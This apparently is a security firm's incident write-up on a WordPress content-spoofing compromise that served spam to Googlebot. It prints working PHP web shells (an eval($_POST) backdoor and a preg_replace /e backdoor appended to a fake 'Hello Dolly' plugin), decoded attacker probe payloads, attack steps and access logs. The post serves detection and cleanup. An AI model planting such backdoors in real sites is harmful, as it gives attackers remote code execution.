Protect your website: Content spoofing

Can you be really sure that all visitors of your site see it the same way as you do – design and content? In the era, when content matters more and more, one type of hacker attacks became particularly popular – content spoofing. You will find out the algorithms and tools that hackers use to perform such attacks, specifically replacing website’s content for particular visitors.

Discovery story

A client has come with the trouble that the blog of their site is shown in Japanese within Google Search:

Website in Google search results

Googlebot rendered the client’s site content the following way:

Google-bot sees website

At the same time, the website’s design and content in a web browser was absolutely normal.

Infected and strange files

Since the problem happened on blog pages, we started digging there. The website used WordPress – so we checked all files in the blog’s root folder. Eventually we detected an extremely big wp-blog-header.php (average file size of wp-blog-header.php is about 300 bytes). There we detected a strange code:

Infected file

This infected wp-blog-header.php can be downloaded here.

Having deleted extra lines from wp-blog-header.php, all the files were scanned by an antivirus and no malicious software was found. However, looking through the directory another suspicious file was detected wp-admin/49883541.php, a sign that a backdoor has been found.

<?php @eval($_POST['h6vlxj08']); ?>

The usage of POST for transmitting and executing malicious software code on the server side with the help of eval function, made us check all POST requests to the site within the last 24 hours. The result was the following:

cPanel log

Besides the previously discovered wp-admin/49883541.php another unusual PHP file was detected – content/plugins/b5d1bdd6b9e3/index.php. At first glance, there was nothing strange in it:

<?php
/**
 * @package Hello_World
 * @version 1.6
 */
/*
Plugin Name: Hello World
Plugin URI: http://wordpress.org/plugins/hello-World/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.6
Author URI: http://ma.tt/
*/
function hello_world_get_lyric() {
   /** These are the lyrics to Hello Dolly */
   $lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'
One of your old favourite songs from way back when
So, take her wrap, fellas
Find her an empty lap, fellas
Dolly'll never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'
One of your old favourite songs from way back when
Golly, gee, fellas
Find her a vacant knee, fellas
Dolly'll never go away
Dolly'll never go away
Dolly'll never go away again";
   // Here we split it into lines
   $lyrics = explode( "\n", $lyrics );
   // And then randomly choose a line
   return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}
// This just echoes the chosen line, we'll position it later
function hello_dolly() {
   $chosen = hello_world_get_lyric();
   echo "<p id='dolly'>$chosen</p>";
}
// Now we set that function up to execute when the admin_notices action is called
//add_action( 'admin_notices', 'hello_dolly' );
// We need some CSS to position the paragraph
function dolly_css() {
   // This makes sure that the positioning is also good for right-to-left languages
   $x = is_rtl() ? 'left' : 'right';
   echo "
   <style type='text/css'>
   #dolly {
      float: $x;
      padding-$x: 15px;
      padding-top: 5px;     
      margin: 0;
      font-size: 11px;
   }
   </style>
   ";
}
//add_action( 'admin_head', 'dolly_css' );
?>
<?php @preg_replace("/[pageerror]/e",$_POST['pass'],"saft"); ?>

We have changed the server credentials. Having confirmed that the Googlebot and users see the site in browser the same way, we could say that the issue was eliminated. Still there was a need of some monitoring to be done for the possible hacker attack recurrence. And for every infected file that had been previously found, we placed stubs to log any requests to these files.

Log file of queries to wp-admin/49883541.php:

POST data:
Array
(
    [h6vlxj08] => @eval(base64_decode($_POST[z0]));
    [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICdTdWNjZXNzJzs7ZWNobygifDwtIik7ZGllKCk7
)
GET data:
Array
(
)

The following code was assigned to $_POST[z0]>:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
echo 'Success';;
echo("|<-");
die();

If the PHP code above was executed then the results would be the following:

->|Success|<-

Numerour POST queries to wp-content/plugins/b5d1bdd6b9e3/index.php have been detected:

Array
(
    [pass] => @eval(base64_decode($_POST[z0]));
    [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcm9vdGRpciA9ICcnOyRmaWxlUGF0aD0kcm9vdGRpci4nL2luZGV4LnBocCc7ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
)

This PHP code was assigned to $_POST[z0]:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$rootdir = '';
$filePath=$rootdir.'/index.php';
echo file_get_contents($filePath);;
echo("|<-");
die();

The execution of which returned:

->||<-

We got the same result when we ran:

@preg_replace("/[pageerror]/e", $_POST['pass'], "saft");

So, the code above:

ran scenarios of @eval(base64_decode($_POST[z0]));
the resulting ->||<- string used as a second parameter in the preg_replace:

@preg_replace("/[pageerror]/e", '->||<-',"saft");

In this case, hackers infected wp-blog-header.php with @preg_replace("/[pageerror]/e", $_POST['pass'], "saft") from the wp-content/plugins/b5d1bdd6b9e3/index.php.

The attack algorithm

1. Send a POST-query

Array
(
    [pass] => @eval(base64_decode($_POST[z0]));
    [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcm9vdGRpciA9ICcnOyRmaWxlUGF0aD0kcm9vdGRpci4nL2luZGV4LnBocCc7ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
)

to wp-content/plugins/b5d1bdd6b9e3/index.php.

2. If the answer is equal to ->||<- then the hacker sends a special query that will infect the necessary file. Click here to download a special POST query that infected the wp-blog-header.php:

Infected file

Injection purpose

The wp-blog-header.php file was placed in a number of blog pages. So, when the Googlebot rendered a page of the website, the infected wp-blog-header.php returned incorrect content – content of another website. At the same time, a usual user saw this website properly.

How to detect

First of all, POST queries to the website in the website’s log file should be checked. You should pay special attention to queries to unusual file names and plugins. In this case, all suspicious queries were sent from 69.30.217.26:

69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "GET / HTTP/1.1" 200 822 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:35 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:35 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:36 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:36 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"

How to cure?

In this case, credentials to the server were changed and all the detected scripts were removed. The hacker attacks stopped.

Cookie	Duration	Description
__jid	1 day	Used to add comments to the website and remember the user's Disqus login credentials across websites that use said service.
cf_ob_info	past	The cf_ob_info cookie is set by Cloudflare to provide information on HTTP Status Code returned by the origin web server, the Ray ID of the original failed request and the data center serving the traffic.
cf_use_ob	past	Cloudflare sets this cookie to improve page load times and to disallow any security restrictions based on the visitor's IP address.
cookielawinfo-checkbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
li_gc	2 years	Linkeding cookie that stores the user's cookie consent state for the current domain
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.

Cookie	Duration	Description
_ga	2 years	Google Analytics cookie. Used to identify unique users and expires after two years
_gat	1 day	Used by Google Analytics to throttle request rate
_gid	24 hours	Google Analytics cookie. Used to identify user and expires in 24 hours.
_hjAbsoluteSessionInProgress	30 minutes	Hotjar cookie. Used to detect the first pageview session of a user. 30 minutes duration. Boolean true/false data type.
_hjFirstSeen	User session	Hotjar cookie. Identifies a new user’s first session. Used by Recording filters to identify new user sessions. Session duration. Boolean true/false data type.
_hjIncludedInPageviewSample	30 minutes	Hotjar cookie. Set to determine if a user is included in the data sampling defined by your site's pageview limit. 30 minutes duration. Boolean true/false data type.
_hjIncludedInSessionSample	30 minutes	Hotjar cookie. Set to determine if a user is included in the data sampling defined by your site's daily session limit. 30 minutes duration. Boolean true/false data type.
_hjRecordingLastActivity	User session	Hotjar cookie. Sets a unique ID for the session. This allows the website to obtain data on visitor behaviour for statistical purposes
_hjSession_2881021	30 minutes	Hotjar cookie. Holds current session data. Ensures subsequent requests in the session window are attributed to the same session. 30 minutes duration. JSON data type.
_hjSessionRejected	User session	Hotjar cookie. If present, set to '1' for the duration of a user's session, when Hotjar has rejected the session from connecting to our WebSocket due to server overload. Applied in extremely rare situations to prevent severe performance issues. Session duration. Boolean true/false data type.
_hjSessionUser_2881021	1 year	Hotjar cookie. Set when a user first lands on a page. Persists the Hotjar User ID which is unique to that site. Ensures data from subsequent visits to the same site are attributed to the same user ID. 365 days duration. JSON data type.
_hjTLDTest	User session	Hotjar cookie. Registers statistical data on users' behaviour on the website. Used for internal analytics by the website operator.
AnalyticsSyncHistory	29 days	Linkedin cookie. Used in connection with data-synchronization with third-party analysis service.
disqus_unique	1 year	Disqus cookie. Collects statistics related to the user's visits to the website, such as number of visits, average time spent on the website and loaded pages.
https://#.#/	User session	leadfeeder.com cookie. Registers statistical data on users' behaviour on the website. Used for internal analytics by the website operator.
juggler/event.gif	User session	Disqus cookie. Identifies the visitor across devices and visits, in order to optimize the chat-box function on the website.

Cookie	Duration	Description
aet-dismiss	User session	Disqus cookie. Necessary for the functionality of the website's comments system
drafts.queue		Disqus cookie. Necessary for the functionality of the website's comments system
lang		Linkedin cookie. Remembers the user's selected language version of a website
submitted_posts_cache	User session	Disqus cookie. Necessary for the functionality of the website's comments system

Cookie	Duration	Description
_hjRecordingEnabled	User session	Hotjar cookie. This cookie is used to identify the visitor and optimize ad-relevance by collecting visitor data from multiple websites – this exchange of visitor data is normally provided by a third-party data-center or ad-exchange.
_lfa	2 years	Leadfeeder cookie. Used to store and track audience reach and expires in 2 years.
_lfa_expiry	persistent	Leadfeeder cookie. : Contains the expiry-date for the cookie with corresponding name
_lfa_test_cookie_stored	1 day	Leadfeeder cookie. Used in context with Account-Based-Marketing (ABM). The cookie registers data such as IP-addresses, time spent on the website and page requests for the visit. This is used for retargeting of multiple users rooting from the same IP-addresses. ABM usually facilitates B2B marketing purposes
ads/ga-audiences	User session	Used by Google AdWords to re-engage visitors that are likely to convert to customers based on the visitor's online behaviour across websites.
badges-message	Persistent	Disqus cookie. Used for comments functionality
bcookie	2 years	Used by the social networking service, LinkedIn, for tracking the use of embedded services.
bscookie	2 years	Used by the social networking service, LinkedIn, for tracking the use of embedded services.
lidc	1 day	Used by the social networking service, LinkedIn, for tracking the use of embedded services.
UserMatchHistory	29 days	Linkedin cookie. Ensures visitor browsing-security by preventing cross-site request forgery. This cookie is essential for the security of the website and visitor.